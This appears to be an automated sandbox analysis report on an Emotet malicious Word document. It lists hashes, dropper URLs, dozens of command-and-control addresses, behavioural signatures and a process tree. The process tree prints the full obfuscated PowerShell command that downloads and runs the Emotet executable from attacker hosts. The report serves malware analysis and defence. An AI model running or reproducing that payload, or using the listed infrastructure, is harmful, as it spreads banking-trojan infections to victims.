emotet | ec8a629ad4eba60b9aef40fbac29aa11e1ca1ed58392d46d3ea51f7b96e2c218

Analysis

max time kernel
137s
max time network
149s
platform
windows10_x64
resource
win10v200722
submitted
17/09/2020, 15:50

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General

Target
emotet_e1_ec8a629ad4eba60b9aef40fbac29aa11e1ca1ed58392d46d3ea51f7b96e2c218_2020-09-17__154859._doc.doc
Size 200KB
Sample200917-vb7lvwr9hs
SHA256 ec8a629ad4eba60b9aef40fbac29aa11e1ca1ed58392d46d3ea51f7b96e2c218
MD5 1e37902e175a377e90d755bb070899a8
SHA1 52ead30ca5ab668b7657597e6259bba2a8edfe22
SHA512 b25dddac7de296e7a717e2ee7d2b9e38bde02682a86b07091303a999e228376509fbaef05dbe582786f137060cf716d8cd5f4058db785892df975f652f1f32aa
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://veccino56.com/gjpra/4ZR/
exe.dropper
http://girlgeekdinners.com/wp-content/Hpz/
exe.dropper
http://marblingmagpie.com/COPYRIGHT/Ak/
exe.dropper
http://aplicativoipok.net/wp-includes/ONW/
exe.dropper
http://ec2-52-56-233-157.eu-west-2.compute.amazonaws.com/wp-includes/35/
exe.dropper
https://shd7.life/mlktv/r6/
exe.dropper
https://www.hairlineunisexsalon.com/demo/UX/

Extracted

Family

emotet

174.113.69.136:80
51.38.124.206:80
82.196.15.205:8080
38.88.126.202:8080
190.115.18.139:8080
98.13.75.196:80
181.30.61.163:443
82.76.111.249:443
181.129.96.162:8080
74.58.215.226:80
68.69.155.181:80
188.135.15.49:80
190.163.31.26:80
50.121.220.50:80
51.159.23.217:443
2.47.112.152:80
185.215.227.107:443
217.13.106.14:8080
70.32.115.157:8080
170.81.48.2:80
73.213.208.163:80
5.196.35.138:7080
190.24.243.186:80
192.241.143.52:8080
185.183.16.47:80
184.66.18.83:80
187.162.248.237:80
220.109.145.69:80
51.255.165.160:8080
82.230.1.24:80
94.176.234.118:443
104.131.103.37:8080
50.28.51.143:8080
12.162.84.2:8080
74.136.144.133:80
77.90.136.129:8080
68.183.190.199:8080
96.245.123.149:80
177.74.228.34:80
213.197.182.158:8080
45.46.37.97:80
110.142.219.51:80
192.241.146.84:8080
189.2.177.210:443
177.73.0.98:443
61.197.92.216:80
185.178.10.77:80
212.71.237.140:8080
65.36.62.20:80
190.195.129.227:8090
217.199.160.224:7080
138.97.60.141:7080
155.186.0.121:80
204.225.249.100:7080
92.24.50.153:80
83.169.21.32:7080
190.6.193.152:8080
219.92.13.25:80
186.103.141.250:443
80.11.164.185:80
45.16.226.117:443
67.247.242.247:80
190.2.31.172:80
77.238.212.227:80
64.201.88.132:80
185.94.252.27:443
199.203.62.165:80
190.147.137.153:443
111.67.77.202:8080
172.104.169.32:8080
5.189.178.202:8080
190.190.148.27:8080
191.182.6.118:80
45.161.242.102:80
70.32.84.74:8080
45.33.77.42:8080
72.47.248.48:7080
114.158.45.53:80
209.236.123.42:8080
137.74.106.111:7080
54.37.42.48:8080
95.9.180.128:80
96.227.52.8:443
152.169.22.67:80
104.131.41.185:8080
77.106.157.34:8080
111.67.12.221:8080
61.92.159.208:8080
178.250.54.208:8080
68.183.170.114:8080
78.249.119.122:80
186.70.127.199:8090
216.47.196.104:80
185.94.252.12:80
87.106.46.107:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	748	4016	powershell.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3184-16-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/3184-16-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/3184-17-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet
behavioral2/memory/3184-17-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet
behavioral2/memory/736-20-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/736-20-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/736-21-0x0000000000500000-0x0000000000510000-memory.dmp	emotet
behavioral2/memory/736-21-0x0000000000500000-0x0000000000510000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
21	748	powershell.exe
24	748	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3184	Ukfj0bw.exe
736	grpconv.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wmi\grpconv.exe	Ukfj0bw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
748	powershell.exe
748	powershell.exe
748	powershell.exe
736	grpconv.exe
736	grpconv.exe
736	grpconv.exe
736	grpconv.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	748	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 748 wrote to memory of 3184	748	powershell.exe	78
PID 748 wrote to memory of 3184	748	powershell.exe	78
PID 748 wrote to memory of 3184	748	powershell.exe	78
PID 3184 wrote to memory of 736	3184	Ukfj0bw.exe	80
PID 3184 wrote to memory of 736	3184	Ukfj0bw.exe	80
PID 3184 wrote to memory of 736	3184	Ukfj0bw.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ec8a629ad4eba60b9aef40fbac29aa11e1ca1ed58392d46d3ea51f7b96e2c218_2020-09-17__154859._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABUADgAeAB1AG4AdQAyAD0AKAAoACcARgAnACsAJwB2AGYAJwApACsAJwBsACcAKwAoACcAYgAnACsAJwB5ADcAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAcAByAG8AZgBJAGwAZQBcAEwAVwBmAHIAaAB4AFUAXABOAEwARgBrAFcANgAzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AHIAaQB0AGAAWQBQAGAAUgBPAGAAVABvAGAAQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKwAnADEAMQAnACsAKAAnACwAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQAUQBpAHMAbwA0ADkAOAAgAD0AIAAoACcAVQBrACcAKwAnAGYAJwArACgAJwBqADAAJwArACcAYgB3ACcAKQApADsAJABXAHAAcgBzADQANgAwAD0AKAAnAE0ANAAnACsAKAAnAHkAOABsACcAKwAnAG4AZAAnACkAKQA7ACQAUABwADgAXwA1ADAAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFMAJwArACcAbgAnACsAJwBIAEwAJwArACcAdwBmAHIAaAB4AHUAJwArACcAUwBuAEgAJwApACsAKAAnAE4AbABmACcAKwAnAGsAJwApACsAJwB3ACcAKwAnADYAJwArACgAJwAzACcAKwAnAFMAbgAnACkAKwAnAEgAJwApAC0AcgBFAHAATABBAEMARQAoACcAUwBuACcAKwAnAEgAJwApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAFEAaQBzAG8ANAA5ADgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABXADQAagB3AHMAaQBxAD0AKAAnAEwAJwArACcANQBzACcAKwAoACcAbQB6ACcAKwAnAHQAMgAnACkAKQA7ACQAVgBqAHoAaAAwAGsAdAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAYgBDAEwASQBFAE4AdAA7ACQASABtAGYANAB1AHQAYgA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB2AGUAJwArACcAYwAnACkAKwAnAGMAJwArACgAJwBpAG4AbwA1ADYALgBjACcAKwAnAG8AbQAvAGcAJwArACcAagAnACsAJwBwACcAKQArACcAcgAnACsAJwBhAC8AJwArACgAJwA0AFoAUgAvACoAaAB0AHQAJwArACcAcAA6AC8ALwAnACsAJwBnACcAKQArACgAJwBpAHIAbABnACcAKwAnAGUAJwApACsAKAAnAGUAawAnACsAJwBkACcAKQArACgAJwBpAG4AJwArACcAbgBlAHIAcwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHcAcAAtACcAKwAnAGMAbwBuAHQAJwArACcAZQBuAHQAJwApACsAJwAvACcAKwAnAEgAcAAnACsAJwB6ACcAKwAnAC8AJwArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACcAbQAnACsAJwBhACcAKwAnAHIAJwArACcAYgBsACcAKwAoACcAaQBuACcAKwAnAGcAJwApACsAKAAnAG0AJwArACcAYQBnAHAAaQAnACkAKwAoACcAZQAuAGMAJwArACcAbwAnACkAKwAoACcAbQAnACsAJwAvAEMAJwApACsAJwBPACcAKwAnAFAAJwArACcAWQAnACsAJwBSAEkAJwArACcARwBIACcAKwAnAFQAJwArACgAJwAvAEEAJwArACcAawAnACkAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvAGEAcABsAGkAYwAnACsAJwBhACcAKwAnAHQAaQAnACkAKwAnAHYAJwArACgAJwBvAGkAJwArACcAcABvACcAKQArACgAJwBrAC4AJwArACcAbgAnACkAKwAoACcAZQB0AC8AdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAJwBkAGUAJwArACgAJwBzAC8ATwBOAFcALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBlAGMAJwArACcAMgAtACcAKQArACcANQAnACsAJwAyACcAKwAnAC0ANQAnACsAKAAnADYAJwArACcALQAyADMAMwAtACcAKQArACgAJwAxADUAJwArACcANwAuAGUAdQAtACcAKwAnAHcAZQBzAHQALQAnACkAKwAoACcAMgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwBwAHUAJwApACsAJwB0AGUAJwArACcALgAnACsAKAAnAGEAbQBhAHoAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwBhAHcAJwArACcAcwAuAGMAbwBtAC8AdwAnACsAJwBwAC0AaQBuAGMAJwApACsAJwBsAHUAJwArACcAZAAnACsAKAAnAGUAJwArACcAcwAvADMANQAvACoAaAB0ACcAKwAnAHQAcABzADoALwAvACcAKwAnAHMAJwApACsAKAAnAGgAJwArACcAZAA3AC4AJwApACsAKAAnAGwAJwArACcAaQBmACcAKwAnAGUALwBtAGwAawAnACkAKwAnAHQAJwArACgAJwB2ACcAKwAnAC8AcgA2ACcAKQArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3AC4AJwArACgAJwBoAGEAaQAnACsAJwByAGwAaQBuACcAKQArACcAZQAnACsAJwB1ACcAKwAoACcAbgAnACsAJwBpAHMAJwApACsAKAAnAGUAeABzACcAKwAnAGEAJwArACcAbABvAG4ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwBkACcAKQArACcAZQAnACsAJwBtACcAKwAnAG8ALwAnACsAJwBVACcAKwAnAFgAJwArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAB6AHoAMABjAGkAdAA9ACgAKAAnAFAAJwArACcAbgA2AGoAJwApACsAKAAnAGEAMAAnACsAJwBiACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARwB6ADIAdgA2AGQAdAAgAGkAbgAgACQASABtAGYANAB1AHQAYgApAHsAdAByAHkAewAkAFYAagB6AGgAMABrAHQALgAiAGQATwBXAGAATgBMAG8AYQBgAGQAZgBpAGAAbABlACIAKAAkAEcAegAyAHYANgBkAHQALAAgACQAUABwADgAXwA1ADAAZgApADsAJABFAGoAbwBmADMAXwBxAD0AKAAnAFoAJwArACcAdwAnACsAKAAnAGMAJwArACcAXwBtAHgAZAAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAHAAOABfADUAMABmACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMAA2ADIAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUABwADgAXwA1ADAAZgApADsAJABaAHcAdwB5AGYANQB4AD0AKAAoACcAWAAnACsAJwBhAGYAJwApACsAJwBvAGgAJwArACcANQBzACcAKQA7AGIAcgBlAGEAawA7ACQAQwBmAHEAZQB3ADgAbAA9ACgAJwBCAF8AJwArACgAJwByACcAKwAnAGcAdAAnACkAKwAnAGEAMAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFgAaABiAG4AcAAyAGEAPQAoACgAJwBUACcAKwAnADcANgAwAGwAJwApACsAJwBpADMAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:748
- C:\Users\Admin\Lwfrhxu\Nlfkw63\Ukfj0bw.exe
  "C:\Users\Admin\Lwfrhxu\Nlfkw63\Ukfj0bw.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\SysWOW64\wmi\grpconv.exe
    "C:\Windows\SysWOW64\wmi\grpconv.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/736-21-0x0000000000500000-0x0000000000510000-memory.dmp

Download

memory/736-20-0x00000000005A0000-0x00000000005B2000-memory.dmp

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memory/748-11-0x00000217CF630000-0x00000217CF631000-memory.dmp

Download

memory/748-10-0x00007FF8FA560000-0x00007FF8FAF4C000-memory.dmp

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memory/748-12-0x00000217E7900000-0x00000217E7901000-memory.dmp

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memory/3184-16-0x0000000000580000-0x0000000000592000-memory.dmp

Download

memory/3184-17-0x00000000005A0000-0x00000000005B0000-memory.dmp

Download

memory/3956-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

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memory/3956-9-0x000002285B655000-0x000002285B65E000-memory.dmp

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memory/3956-8-0x000002285B655000-0x000002285B65E000-memory.dmp

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memory/3956-7-0x000002285B655000-0x000002285B65E000-memory.dmp

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memory/3956-6-0x000002285B655000-0x000002285B65E000-memory.dmp

Download

memory/3956-5-0x000002285B88A000-0x000002285B88D000-memory.dmp

Download

memory/3956-3-0x000002285B655000-0x000002285B65E000-memory.dmp

Download